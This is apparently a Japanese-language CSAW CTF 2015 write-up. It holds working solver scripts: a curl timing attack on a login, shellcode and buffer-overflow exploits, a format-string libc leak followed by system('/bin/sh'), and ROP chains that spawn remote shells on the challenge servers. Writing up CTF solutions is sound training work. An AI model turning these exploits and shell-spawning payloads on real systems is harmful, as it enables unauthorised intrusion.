Snippets

Masafumi Yabu CSAW CTF 2015 Writeup

Created by Masafumi Yabu last modified nomeaning777

CSAW CTF 2015 Writeup

Web 200: Lawn Care Simulator

http://54.175.3.248:8089/.git よりソースコードを取得出来る。

sign_up.phpにusernameとして'%'を渡すことで、存在するユーザー名が~~FLAG~~であることが分かる。

premium.phpはパスワードの先頭からの正解文字数に応じてsleepしてくれるのでパスワードを探索する。

cur = ''
while cur.size < 32
  strset = 'abcdef0123456789'.chars
  data = []
  strset.each do |s|
    a = Time.now
    `curl -s http://54.175.3.248:8089/premium.php -d 'username=~~FLAG~~&password=#{cur}#{s}#{'a' * (31 - cur.size)}'`
    c = Time.now - a
    data << [c,s]
    p [c,s]
  end
  cur += data.sort[-1][1]
  puts "Current: #{cur}"
  sleep 10
end

Exploitables 100: precision

独自のスタックカナリアが実装されているが固定値である。

NX Disabledでさらにバッファーのアドレスも教えてくれるので、シェルコードを書き込んでreturnする。

require 'ctf'

shellcode = Metasm::Shellcode.assemble(Metasm::Ia32.new, <<SOURCE).encoded
#include <asm/unistd_32.h>
#define syscall(name) mov eax, __NR_##name \\
                     int 0x80
#define syscall1(name, arg1) mov ebx, arg1 syscall(name)
xor ecx, ecx
push ecx
push sh1
push sh2
mov ebx, esp
xor edx, edx
xor eax, eax
add al, __NR_execve - 3
inc eax
inc eax
inc eax
int 0x80
SOURCE
shellcode.fixup 'sh1' => '//sh'.unpack("I")[0]
shellcode.fixup 'sh2' => '/bin'.unpack("I")[0]
shellcode = shellcode.data

canary = [64.33333].pack("d")

TCPSocket.open(*ARGV) do |s|
  buff = s.gets.split[1].to_i(16)
  s.puts shellcode + 'A' * (0x80 - shellcode.size) + canary + "AAAA" + "AAAA" * 2 + [buff].pack("I")
  s.flush

  s.interactive!
end

Exploitables 250: contacts

Descriptionをprintfで表示しているため、format string attackが可能。libcのアドレスをリークし、ret2pltでsystem("/bin/sh")を実行した。

require 'ctf'

class Solver
  attr_accessor :s, :first, :second
  attr_accessor :second_offset, :rop_base

  def initialize(s)
    @s = s
    s.expect '>>> '
    s.puts 1
    s.puts ?a
    s.puts ?a
    s.puts 1000
    s.puts '%lx,' * 100
    s.expect '>>> '
    s.puts 4
    s.expect 'Description: '
    data = s.gets.split(/,/).map{|a|a.to_i(16)}
    self.first = data.index(0x80486bd) + 3 # argvへの参照の番号(1-indexed)
    self.second = first + (0x84 - 0x68) / 4
    self.second_offset = data[self.first - 1]
    self.rop_base =  second_offset - 0x84 + 0x60 - (data.index(0x80486bd) - 30) * 4
    s.expect '>>> '
  end

  def do_fsa(str)
    s.puts 3
    s.puts ?a
    s.expect '>>> '
    s.puts 2
    s.puts 1000
    s.puts str
    s.expect '>>> '
    s.puts 4
    s.expect 'Description: '
    ret = s.expect("Menu:")[0][0..-6]
    s.expect '>>> '
    ret
  end

  def nchars(c)
    c &= 65535
    if c < 12
      '0' * c
    else
      "%#{c}d"
    end
  end

  # second + 1にオフセットを書き出す
  def write_offset(offset)
    do_fsa("%#{(second_offset + 4) % 65536}d%#{first}$hn")
    do_fsa("#{nchars(offset)}%#{second}$hn")
    do_fsa("%#{(second_offset + 6) % 65536}d%#{first}$hn")
    do_fsa("#{nchars(offset >> 16)}%#{second}$hn")
    do_fsa("%#{second + 1}$x")
  end

  # 特定のメモリ領域を読み出す
  def read_memory(offset)
    write_offset(offset)
    do_fsa("%#{second + 1}$s").chomp
  end

  # 特定のメモリ領域に書き出す
  def write_memory(offset, data)
    data.chars.each.with_index do |c,i|
      write_offset(offset + i)
      do_fsa("#{nchars(c.ord)}%#{second+1}$hhn")
    end
  end

  def exit
    s.puts ?5
  end
end

TCPSocket.open(*ARGV) do |s|
  s.echo = false
  solver = Solver.new(s)
  # libc_start_mainの位置を読み出す
  libc_start_main = (solver.read_memory(0x804b034) + "\0" * 8).unpack("I")[0]
  # mallocの位置を読み出す
  #malloc = solver.read_memory(0x804b020).unpack("I")[0]
  # libc特定用
  puts "_libc_start_main: %x" % libc_start_main
  #puts "malloc: %x" % malloc

  # 特定したlibcのlibc_start_mainとsystemと/bin/shの場所
  LIBC_START_MAIN = 0x0000000000019970
  LIBC_SYSTEM = 0x000000000003fcd0
  LIBC_BINSH = 0x0015da84
  libc_base = libc_start_main - LIBC_START_MAIN
  # ret2plt!
  STDERR.puts 'write_system: %x' % [libc_base + LIBC_SYSTEM]
  solver.write_memory(solver.rop_base, [libc_base + LIBC_SYSTEM].pack("I"))
  STDERR.puts 'write_binsh'
  solver.write_memory(solver.rop_base + 8, [libc_base + LIBC_BINSH].pack("I"))
  solver.exit
  s.interactive!
end

## outputs
# _libc_start_main: f7617970
# malloc: f7673b30

Exploitables 300: FTP2

FTPを解いて、flag.txtをダウンロードしたらフラグが得られた。

Exploitables 350: autobots

BOFするECHOプログラムがサーバー側で生成されて降ってくる問題。処理の概略は同じなので、必要な情報をプログラムから抽出してpwnしてやる。

まず、libcを取得するためのプログラムを書いた

# libc関連のアドレスを取得するためのプログラム
require 'ctf'
FD = 6
port = nil
bufsize = nil
write = nil #write_pltの場所
write_ofs = nil # write_ofs
rsi_r15_pop = nil
rdi_pop = nil
if ARGV.size <= 1
  TCPSocket.open(ARGV[0] || '52.20.10.244', '8888') do |s|
    File.binwrite('tmp.out',s.read(8955))
    disasm = `objdump -d -Mintel tmp.out`
    main = disasm.split(/<main>:/)[1]
    main = main.lines.map{|a|a.split("\t")[-1].strip}.join("\n")
    port = main.scan(/mov    edi,0x([a-f0-9]*)\ncall[^\n]*<htons@plt>/)[1][0].to_i(16) # バイナリの起動するポート
    /(.+)<write@plt>:\n/ =~ disasm
    write = $1.to_i(16)
    p [:write, '%x' % write]
    write_ofs = disasm[disasm.index('<write@plt>:')..-1].scan(/# ([0-9a-f]*) <_GLOBAL_OFFSET/).map{|a|a[0].to_i(16)}[0]
    p [:write_ofs, '%x' % write_ofs]
    # bufsize
    bufsize = main.split(/accept@plt/)[1].split(/lea/)[1].scan(/\[rbp-0x([0-9a-f]*)\]/)[0][0].to_i(16)
    p [:bufsize, bufsize]

    # rsi r15 pop
    /0x([0-9a-f]*):/ =~ `rp++ --search-hexa '^A_' --file tmp.out | grep ':'`
    rsi_r15_pop = $1.to_i(16)
    p [:rsi_r15_pop, '%x' % rsi_r15_pop]

    /0x([0-9a-f]*):/ =~ `rp++ --search-hexa '\x5f\xc3' --file tmp.out | grep ':'`
    rdi_pop = $1.to_i(16)
    p [:rdi_pop, '%x' % rsi_r15_pop]
  end
end
server = ARGV[0] ||'52.20.10.244'
port = ARGV[1] || port
TCPSocket.open(server, port) do |s|
  s.print 'a' * (bufsize + 8) + ([rdi_pop, FD] + [rsi_r15_pop,write_ofs, 0] + [write, 0x61616161]).pack("q*")
  data = s.read(32).unpack("q*").map{|a|'%x' % a}
  if data.size > 0 && data[0] != '6161616161616161'
    STDOUT.puts data.inspect
  end
end

Ubuntu 14.04のglibcであることが分かる。ASLR無効であることからclose(0);close(1);dup(FD);dup(FD);system("/bin/sh");を実行するようなスタック状態を生成する。

require 'ctf'
FD = 6
port = nil
bufsize = nil
write = nil #write_pltの場所
write_ofs = nil # write_ofs
libc_base = 0x7ffff7b00860 - 0x00000000000eb860
libc_system = libc_base + 0x0000000000046640
libc_binsh = libc_base + 0x0017ccdb
libc_close = libc_base + 0x00000000000ebf50
libc_dup = libc_base + 0x00000000000ebfb0
libc_rdi = libc_base + 0x00136c40

p ['%x' % libc_system]
p ['%x' % libc_binsh]
rsi_r15_pop = nil
rdi_pop = nil
if ARGV.size <= 1
  TCPSocket.open(ARGV[0] || '52.20.10.244', '8888') do |s|
    File.binwrite('tmp.out',s.read(8955))
    disasm = `objdump -d -Mintel tmp.out`
    main = disasm.split(/<main>:/)[1]
    main = main.lines.map{|a|a.split("\t")[-1].strip}.join("\n")
    port = main.scan(/mov    edi,0x([a-f0-9]*)\ncall[^\n]*<htons@plt>/)[1][0].to_i(16) # バイナリの起動するポート
    # bufsize
    bufsize = main.split(/accept@plt/)[1].split(/lea/)[1].scan(/\[rbp-0x([0-9a-f]*)\]/)[0][0].to_i(16)
    p [:bufsize, bufsize]
  end
end
server = ARGV[0] ||'52.20.10.244'
port = ARGV[1] || port
TCPSocket.open(server, port) do |s|
  s.print 'a' * (bufsize + 8) + ([libc_rdi, 0, libc_close, libc_rdi, 1, libc_close, libc_rdi, FD, libc_dup, libc_rdi, FD, libc_dup, libc_rdi, libc_binsh,libc_system]).pack("q*")
  s.puts "ls"
  s.interactive!
end

Crypto 50: ones_and_zer0es

irb(main):004:0> [File.read('eps1.1_ones-and-zer0es_c4368e65e1883044f3917485ec928173.mpeg').to_i(2).to_s(16)].pack("H*")
=> "flat{People always make the best exploits.} I've never found it hard to hack most people. If you listen to them, watch them, their vulnerabilities are like a neon sign screwed into their heads."     

flatをflagに直した。

Crypto 50: whiter0se

換字暗号ソルバーに投げる

Crypto 50: zer0-day

irb(main):002:0> eval("\"#{File.read('eps1.9_zer0-day_b7604a922c8feef666a957933751a074.avi')}\"").unpack("m")

Reversing 200: Hacking Time

Windows版のFCEUXにあるメモリビューアでメモリの状況を眺めると、最初の方に入力した文字列があり、続けて入力した文字列から作られるバイト列があることが分かる。さらに、このバイト列にリードブレークポイントを仕掛けると、これを全て00にすることが目的であることが分かる。

入力から作られるバイト列は入力と同じ長さであり、さらに入力のある部分はそれ以前の場所のバイト列に影響を及ぼさないので、先頭から特定していった。

Reversing 300: FTP

逆アセンブルを読むと次のようなhash関数にパスワード文字列(最後に改行あり)を渡した時に、3548828169になるような文字列がパスワードになることが分かる。

unsigned int hash(char *password) {
  int i = 0;
  unsigned int hv = 0x1505;
  for(i = 0; i < password[i]; i++) {
    hv = hv * 33 + password[i]
  }
  return hv;
}

適当に探索するとそのような文字列は一瞬で見つかる。

#include <stdio.h>
#include <stdlib.h>
#include <map>
#include <iostream>
#include <algorithm>
using namespace std;

char pass[100];
int t[31];
map<unsigned int, string> h;

void first(int k, unsigned int hv, string s) {
  if(k == 6) {
    h[hv] = s;
  }else {
    for(int i = 0; i < 8; i++) {
      char c = 'a' + i;
      first(k + 1, hv + t[k + 1] * c, s + c);
    }
  }
}
int main() {
  t[0] = 1;
  for(int i =0; i< 30; i++) {
    t[i+1] = t[i]*33;
  }
  // 先頭6文字を適当に列挙 8 ** 6
  first(0, '\n' * t[0], "\n");
  // 後半7文字を乱択で作成しつつ探索
  while(true) {
    string v;
    unsigned int h2 = 0;
    for(int k = 7; k < 14; k++) {
      char c = rand() % 26 + 'a';
      h2 += t[k] * c;
      v += c;
    }
    h2 += t[14] * 0x1505;
    if(h.count(3548828169 - h2)) {
      string ret = h[3548828169 - h2] + v ;
      reverse(ret.begin(), ret.end());
      cout << ret << endl;
      return 0;
    }
  }
}

生成したパスワードを用いてログインすると、cwdにある2つのファイルにフラグがあり、それぞれFTP、FTP2のフラグである。実質600点問題になっている。

Reversing 400: wyvern

start_quest関数を読むと最初の方でvectorに対して単調増加列をpush_backしている。単調増加列ということで差分が怪しいので表示してみると、

4g0n_or_p4tric1an_it5_LLVM

先頭2文字が欠けている(dragonになりそうなことから)ので、探索してフラグを得た。

require 'shellwords'
str = '4g0n_or_p4tric1an_it5_LLVM'
(33..126).each do |i|
  (33..126).each do |j|
  system "echo #{Shellwords.escape(i.chr + j.chr + str)}|  ./wyvern | grep flag"
  end
end

Forensics 100: Keep Calm and CTF

Exiftool。フラグっぽい文字列が見つかる。

Forensics 100: Transfer

tcpflowして192.168.015.133.36840-192.168.015.135.00080というファイルを見るとpythonプログラムとBase64が掛かれている。Pythonプログラムを読んでデコードするプログラムを書くとフラグを得ることが出来た。

data = File.read('b64')
while %W(1 2 3).include? data[0]
  # decodeを繰り返す
  if data[0] == '1'
    data = data[1..-1].tr('A-Ma-mN-Zn-z','N-Zn-zA-Ma-m')
  elsif data[0] == '2'
    data = data[1..-1].unpack('m')[0]
  elsif data[0] == '3'
    data = data[1..-1].tr('d-za-c', 'a-z')
  end
end
puts data

Forensics 100: Flash

$ sudo mount flash_c8429a430278283c0e571baebca3d139.img media
$ cat media/.10/.hidden
flag{b3l0w_th3_r4dar}
$ sudo umount media

Forensics 200: Airport

4枚の画像についてytokuさんと協力し、それぞれの空港の名前を求めた。それらの空港の3文字のコードを連結したものが、steghide.jpgのパスフレーズとなっており、key.txtを取得した。

1 Jose Marti International Airport  HAV, MUHA
2 HongKong International Airport  HKG, VHHH
3 Los Angles International Airport LAX, KLAX
4 Toronto Pearson International Airport YYZ, CYYZ

HAVHKGLAXYYZ

Forensics 400: sharpturn

ファイルの中身から計算されるハッシュと、git objectに用いられているハッシュの値が一致しないことから、データが変化していると考えた。

次のように1byteファイルの中身を書き替えて、元にハッシュになるような物を探索するプログラムを書き、古いコミットから修正していった。

require 'digest/sha1'
def calc(s)
  s = "blob #{s.size}\0#{s}"
  Digest::SHA1.hexdigest(s)
end
hash = ARGV[0]
file = File.binread(ARGV[1])
file.size.times do |i|
  b = file[i]
  256.times do |j|
    file[i] = (file[i].ord ^ j).chr
    if calc(file) == hash
      STDERR.puts "Found"
      puts file
    end
    file[i] = (file[i].ord ^ j).chr
  end
end

最終的に出き上がったプログラムに対して次のように回答してフラグを得た。

問題1: flag
問題2: 31337
問題3: hoge
問題4: money
問題5: 31357 8675311

Comments (0)

HTTPS SSH

You can clone a snippet to your computer for local editing. Learn more.